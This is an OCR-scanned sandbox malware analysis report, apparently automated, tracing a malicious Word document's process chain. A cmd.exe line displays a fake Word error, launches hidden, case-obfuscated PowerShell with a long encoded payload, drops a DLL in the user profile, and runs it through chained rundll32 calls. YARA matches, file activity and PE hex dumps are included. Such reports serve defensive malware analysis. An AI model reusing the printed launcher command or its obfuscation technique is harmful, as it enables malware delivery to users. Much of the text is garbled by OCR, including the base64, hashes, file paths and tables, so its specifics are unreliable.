00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD&R00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

00 00 00 00 00 00 00 00 00 00
R@RODHIH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 FF FF FF FF

Completion

Count Address

Source

Symbol

Analysis Process: cmd.exe PID: 2340 Parent PID: 1220

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Copyright null 2021

19:15:40

12/01/2021

C:\Windows\System32\cmd.exe

false

cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.
& P~Ow”er"she”L"L -w hidden -ENCOD
AHQAeQBQAGUAXQAOACIAewAyAHOAeWAXAHOAeWAWAHOAewAzZAHOAeWAOAHOA
IgAtAGY AJWBJACCALAANAGOALGANACWAIWBTAHKACWBOAEUAIWASACCAbBWAU
AEQAaQANACWAIWBYAGUAQWBUAGBACYB5ACCAKQA7ACAACWBIAHQALQBPAHQA
RQBNACAAIAB2AEEACgBpAGEAYgBMAEUAOGB3AGQAOAAJACAAKAAGAFSAVABS
AFAAZQBAJACgAIgB7ADEAfQB7ADIAfQB7ADAAIQB7ADMAfQB7ADQAFQAIACAA
LQBMACCAVgBIJAGMARQBQAEBAaQBOAHQATQBhAG4AY QANACWAIWBTAHKAUWBO
ACCALAANAGUATQAUAE4ARQBOACAACWBIAFIAIWASACCAZWANACWAIWBFAHIA
JWAPACKAIAATACQARQBYAHIAbwBYAEEAYWBOAGKAbWBUAFAACYBIAGYAZQBY
AGUADbgBjAGUAIAA9ACAAKAACACCAUWBPAGWAZQANACSAIWBUACCAKQAIACGA
JwBOAGWAeQBDAG8AIWArACcAbgANACKAKWANAHQAIWArACgAIWBpAGAAIWAr
ACCcAdQBIACCAKQApPADSAJABOADMAMQA3ADYAYWBYADOAJABRADIANQBVACAA
KWAgAFSAYWB0OAGEAcgBdACgANgAOACKAIAATACAAJABWADKANgBSADSAJABD
AF8AMQBRADOAKAANAEOAOQANACSAIWALAEKAIWAPADSAIAAGACGAIAAGAFYA
YQBYAEKAQQBCAEWAZQAJACAAMABFADIAdABLACAAKQAUAHYAY QBMAFUARQAG
ADOAIgBJAHIARQBBAFQAZQBEAGAASQBSAGUAQWBIAFQATWBSAFKAIGAOACQA
SABPAEOARQAJGACSAIAA0ACYAKAANAEIASgBSAFCAZAANACSAIWBKACCAKQAr
ACgAIWBLAHKAMgANACSAIWBLAEIAIWAPACSAIWBKACCAKWAOACCADABUAGOA
YWANACsAJWAXACCAKQArACgAIwBrACcAKWANAHUAbWANACKAKWANAEIASgAN
ACsAIWBSACCAKQAUACIAUgBFAGAACABJAEWAY QBJAEUAIgAOACYAIWBCACCA
KwANRAEOAbAANACKALAANAFWAIWAPACKAKQA7ACQATJA3ADMAUAA9ACGAIWBL
ACCAKWAOACCAMAANACSAIWAZAFY AJWAPACKAOWAJACQAVWBEADGAOJABACIA
cWBgAEUAYABJAFUAUgBpAHQAWQBQAHIATWBUAGBAYWBJAGBADAAIACAAPQAY
ACgAIWBUAGWAIWAIACgAIWBZACCAKWANADEAMgANACKAKQA7ACQAVWBFADUA
SWA9ACYAKAANAFQAIWATACCAOAALACCAKQArACCASgANACKAOWAKAEKAEQBX
AHgAdgASAFBAIAA9ACAAKAAOACCASYA3ACCAKWANADAAIWAPACSAIWBIACCA
KQA7ACQATAAXADIASWASACgAIWBZADAAIWArACCAMWBDACCAKQA7ACQATWB(Q
AGKkAaABUAHCAZWASACQASABPAEOARQArACJAKAACACCAUQBMAEBAVWBKAGQA
JWArACcAdQANACsAIWB5ADIAIWAPACSAIWBIACCAKWAOACCAUQBMACCAKwWAN
AEBAIWAPACSAIWBUAGOAIWArACgAIWBJACCAKWANADEAawB1ACCAKQArACgA
JWBVAFEATAANACSAJWBPACCAKQAPACAAIgBSAGAAZQBQAGWAY QBJAGMAZQAI QBUAGUACWANACKAKWANAC4AYWAN
ACsAKAANAGBAJIWArACcAbQAVACCAKQArACgAIWBFACCAKWANAHIAcCgANACKA
KwWANAG8AJWArACgAIwBYACCAKWANAFAAY QBNAGUACWANACKAKWANACBAMWAN
ACsAIJWAVACCAKWANAEAAIWArACgAIWB3AF0AeABIACCAKWANAFsAdgBzACCA
KQArACcAOgAVACCAKWANACBAIWArACCAYWBhACCAKWANAHAAIWArACgAIwWBO
AHUACgANACSAIWBIACCAKWANAHQAABIAGEAYWANACKAKWANAHQAaQANACSA
JWBVACCAKWANAGAAIWAIACCALGANACSAKAANAGMAbWBIACAAIWAIACCAYQBL
ACCcAKQArACgAIWAVACCAKWANAHCACAATACCAKWANAGKAbgBJACCAKQAIrACCA
bAB1ACCAKWANAGQAIWArACgAIWBIAHMAJWAIrACCALWBZACCAKQArACcAagBw
ACCAKWAOACCALWBAACCAKWANAHCAXQANACSAIWBAAGOAWWB2AHMAOGANACSA
JWAVACBAJABOACCAKQArACCcAZQBUACCAKWAOACCAZQANACSAIWBOAHCAIWArY
ACcAbwByAGSAIJWArACcAZQBYAC4AYWANACKAKWAOACCAY QANACSAIWAVAGMA
JWAPACSAIWBVAGOAIWArACcAbQBIACCAKWANAGAAJAANACSAIWAVACCAKWAN

JAAWAGUAMgBOAGSAPQBb
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

ADGAJWATALCA | JAUACCAKWANALBAIWATALCAYAANALSAIWBSALCAKWAOALCA AHMAVABFAGOALGBUAEUA0x49d80000

345088 bytes
5746BD7E255DD6ABAFA06F7C42C1BA41L
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: msg.exe PID: 2608 Parent PID: 2340
General
Start time: 19:15:40
Start date: 12/01/2021
Path: C:\Windows\System32\msg.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

msg user /v Word experienced an error trying to open the file.
0xff1c0000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2692 Parent PID: 2340
General
Start time: 19:15:41
Start date: 12/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

false

POwersheLL -w hidden -ENCOD JAAWAGUAMgBOAGSAPQBbAHQAe
QBQAGUAXQAO0ACIAewAyAHOAeWAXAHOAeWAWAHOAewAzAHOAeWAOAHOAIGALA
GYAJWBJIACCALAANAGOALGANACWAIWBTAHKACWBOAEUAIWASACCABWAUAEQAA
QANACWAIWBYAGUAQWBUAGBACYB5ACCAKQA7ACAACWBIAHQALQBPAHQARQBNA
CAAIAB2AEEACgBpAGEAYgBMAEUAOgGB3AGQAOAAJACAAKAAGAFSAVABSAFAAZ
QBdACgAIgB7ADEAfQB7ADIAfQB7ADAATQB7ADMAIQB7ADQAFQAIACAALQBMA

CeA/ARTACMARNRNAERANRNAHNATNARKAMCAAVNANAC WA WRTAHKAI WwRNACAAL
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UMY UM O IV AW A UM A I AT MO T A A Y MUY | TNV W UM U

AANAGUATQAUAE4ARQBOAC4ACWBIAFIAJWASACCAZWANACWAIWBFAHIAIWAPA
CKAIAA7TACQARQBYAHIAbwBYAEEAYWBOAGKAbWBUAFAACYBIAGYAZQBYAGUAD
gBJAGUAIAASACAAKAAOACCAUWBPAGWAZQANACSAIWBUACCAKQAIACgAIWBOA
GwAeQBDAG8BAJWArACcAbgANACKAKWANAHQAJIWArACgAIWBpAGAAIWArACcAd
QBIACCAKQApPADSAJABOADMAMQA3ADYAYWBYADOAJABRADIANQBVACAAKWAQA
FsSAYWBOAGEAcgBdACgANGAOACKAIAATACAAJABWADKANgBSADSAJABDAFSAM
QBRADOAKAANAEOAOQANACSAIWALAEKAIJWAPADSAIAAGACJAIAAGAFYAY QBYA
EKAQQBCAEWAZQAJACAAMABFADIAJABLACAAKQAUAHYAY QBMAFUARQABADOAI
gBJAHIARQBBAFQAZQBEAGAASQBSAGUAQWBYAFQATWBSAFKAIGAOACQASABPA
EOARQAQACSAIAA0ACJAKAANAEIASYBSAFCAZAANACSAIWBKACCAKQAIACGAJ
WB1AHKAMgANACSAIWBLAEIAJWAPACSAIWBKACCAKWAOACCABABUAGOAYWANA
CsAJWAXACCAKQArACgAJwBrACcAKWANAHUAbwANACKAKWANAEIASgANACSAJ
WBSACCAKQAUACIAUgBFAGAACABYJAEWAY QBJAEUAIGAOACYAIWBCACCAKWANA
E0AbAANACKALAANAFWAJWAPACKAKQA7ACQATYA3ADMAUAAIACIAIWBLACCAK
WAOACCAMAANACSAIWAZAFY AJIWAPACKAOWAGACQAVWBEADGAOJABACIACWBgA QBJAGMAZQAIACJAK QBUAGUACWANACKAKWANACAAYWANACSAK
AANAGBAIWArACcAbQAVACCAKQArACgAIWBFACCAKWANAHIACGANACKAKWANA
G8AIJWArACgAIWBYACCAKWANAFAAY QBNAGUACWANACKAKWANACBAMWANACSAJ
WAVACCAKWANAEAAIWArACgAIWB3AF0AeABtACCAKWANAFSAdgBzACCAKQAIA
CcAOgAVACCAKWANACBAIWArACcAYWBhACCAKWANAHAAIWAIACgAIWBOAHUAC
gANACsAJWBIACCAKWANAHQAaABIAGEAYWANACKAKWANAHQAaQANACSAJWBVA
CCcAKWANAGAAIWArACCALGANACSAKAANAGMADbWBIACAAIWAIACCAY QBLACCAKWANACKALAAOACGAIWBOACCAKWANAHQAJAANACKAKWANAHAAIWAPACWAIWAZAABVACCcAKQArACgAJWB3AEQAaQANACsAIWBhACCAKWANAGWAbWANACKAKWANA
GCAQQANACKALGAIAHQAYABVAHMAVABSAEKAYABOAGCAIgAOACKAOWAKAFKAN
gASAEWAPQAOACCASWA4ACCAKWANADQAVJANACKAOWBIAHIAZQBhAGSAOWAKA
FYAXWAYAFY APQA0ACCAWAAWACCAKWANADCAUWANACKATQBOAGMAYQBOAGMAa
AB7AHOAfQAKAFEANQAXAEBAPQACACYAIWBIACCAKWANAFBAMWANACKAKWANA

EcAJWApAA==
Imagebase: 0x13f2e0000
File size: 473600 bytes
MDS5 hash: 852D67A27E454BD389FA7TF02A8CBE23F
Has elevated privileges: true
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Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path
C:\Users\user\Wdduy2m

C:\Users\user\Wdduy2m\Tmc1kuo

C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dll

File Deleted

File Path
C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dll

Old File Path

File Written

File Path

Copyright null 2021

true

Net C# or VB.NET

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2107242892.0000000000216000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2107409443.0000000001BA6000.00000004.00000001.sdmp,
Author: Florian Roth

high

Access Attributes

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic write

New File Path

Offset Length Value

Source
Options Completion Count Address Symbol
directory file |  success or wait 1 7FEEBAABECT? CreateDirectory\W

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |  success or wait 1
synchronous io

non alert | open

for backup ident

| open reparse

point

7FEEBAABECTY CreateDirectory\W

synchronous io  success or wait & 7FEEBAABECTY CreateFileW
non alert | non
directory file |

open no recall

Source
Completion Count Address Symbol
success or wait 2 7FEEBAABECTY DeleteFileW
Source
Completion Count Address Symbol
Source
Ascii Completion Count Address Symbol
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File Path Offset

C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dlI unknown 4096

C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dlI unknown 8753

File Read

File Path

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
Copyright null 2021

Length Value

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff

00 00 b8 00 000000 ...

00 00 00 40 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

Ascii

V] 72— Q.....

cannot be run in DOS
mode....

$
JL2.F

00 000000800000 ...

00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 732070
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 50 45 00 00 4c
01 06 00 5a de fd 5f
00 00 00 00 00 00 00
00 e0 00 Oe 21 0b 01
02 32 00 46 00 00 00
d4 04 00 00 00 00 00
f0 21 00 00 00 10 00
00 00 60 00 00 00 00
00 10 00 10 00 00 00
02 00 00 03 00 00 00
00 00 00 00 04 00 00
00 00 00 00 00 00 60
05 00 00 04 00 00 01
09 06 00 02 00 00 00
00 00 10 00 00 10 00
00 00 00 10 00 00 10
00 00 00 00 00 00 10
00 00 00 00 00 00 00
00 00 00

7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
15 78 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15

S.jeeXS. . XS XS
XS..J...XS..]...XS..]...XS..]
XS, XS, ). XS .. XS,
oo XS. XS] XS X
S.jeeXS . XS XS
XS.. XS..j
0. XS..].o. XS] XS, ]...XS.
e XS. XS XS X
S.joeXS. ...

Offset Length
unknown 4095
unknown 6304
unknown 4095
unknown 4096
unknown 781

L.IThis program

Completion

success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait

end of file

Count Address

6

11

Count Address

1

Source
Symbol

7TFEESAABEC7 WriteFile

7TFEESAABEC7 WriteFile

Source

Symbol
7FEE8915208 unknown
7FEE8915208 unknown
7FEE8A3A287 ReadFile
7FEEBAABEC7 ReadFile

7FEESAABEC7 ReadFile
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File Path Offset Length Completion
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait

0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file

C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dIl unknown 4096 success or wait
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dIl unknown 512 success or wait
C:\Windows\assembIy\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 4096 success or wait
C:\Windows\assembIy\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 512 success or wait

Registry Activities

Key Path Completion

Key Path Name Type Data Completion

Count

1

(=30 S P = [T e [ [T S (S s

e
©

P R R O R R O R R

[

P R R R R R

Source
Address

7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABECY
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEESAABEC7
7FEE8A069DF

7FEE8A069DF

7FEESAABECY
7FEESAABECY
7FEE8A069DF
7FEE8A069DF
7FEE8A069DF
7FEE8A069DF

Source

Symbol

ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile

unknown

unknown

ReadFile
ReadFile
unknown
unknown
unknown

unknown

Count Address Symbol

Source

Count Address Symbol

Analysis Process: rundll32.exe PID: 960 Parent PID: 2692

General

Start time: 19:15:50

Start date: 12/01/2021

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dIl ShowD
ialogA

Imagebase: 0xffbb0000

File size: 45568 bytes

MDS5 hash: DD81D91FF3B0763C392422865C9AC12E

Has elevated privileges: true

Has administrator privileges: true
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Programmed in: C, C++ or other language

Reputation: moderate

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dll unknown 64 success or wait 1 FFBB27D0 ReadFile
C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dll unknown 264 success or wait 1 FFBB281C ReadFile
Analysis Process: rundll32.exe PID: 2916 Parent PID: 960
General
Start time: 19:15:50
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dIl ShowD
ialogA
Imagebase: 0x6e0000
File size: 44544 bytes
MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2956 Parent PID: 2916
General
Start time: 19:15:51
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qafsungwghhv\abffsuupeze.g
lo',ShowDialogA
Imagebase: 0x6e0000
File size: 44544 bytes
MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

File Activities
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File Path Access Attributes Options Completion

Old File Path New File Path Completion

Source
Count Address Symbol

Source
Count Address Symbol

Analysis Process: rundll32.exe PID: 2908 Parent PID: 2956

General

Start time: 19:15:52

Start date: 12/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hgmvwbjvtszlkw\w
wuzivduogkxt.pxe',ShowDialogA

Imagebase: 0x6e0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

File Path Access Attributes Options Completion

Old File Path New File Path Completion

Source
Count Address Symbol

Source
Count Address Symbol

Analysis Process: rundll32.exe PID: 2484 Parent PID: 2908

General

Start time: 19:15:54

Start date: 12/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Aanys\cokk.vuq',ShowDialog

A

Imagebase: 0x6e0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

File Path Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Registry Activities
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Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Disassembly

Code Analysis
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